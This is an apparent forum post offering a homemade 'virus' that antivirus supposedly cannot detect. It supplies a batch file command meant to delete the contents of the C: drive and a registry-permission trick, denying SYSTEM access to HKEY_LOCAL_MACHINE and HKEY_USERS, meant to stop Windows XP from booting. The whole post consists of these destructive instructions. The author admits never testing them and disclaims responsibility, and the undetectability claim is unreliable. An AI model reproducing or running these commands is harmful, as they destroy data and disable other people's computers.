Write ur own simple virus cant detected by any antivirus.... @Echo off Del C:\ *.* |y And save that as .bat not .txt and RUN IT It will delete the content of C:\ drive... PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:... IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive EVEN I DIDN't TRY THIS........ I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN ABOVE... Another Virus Trick: If you log in to some admin account in XP, then open regedit, right click on HKEY_LOCAL_MACHINE , click Permissions, select SYSTEM and "deny" access. repeat this for HKEY_USERS, next time the computer won't boot
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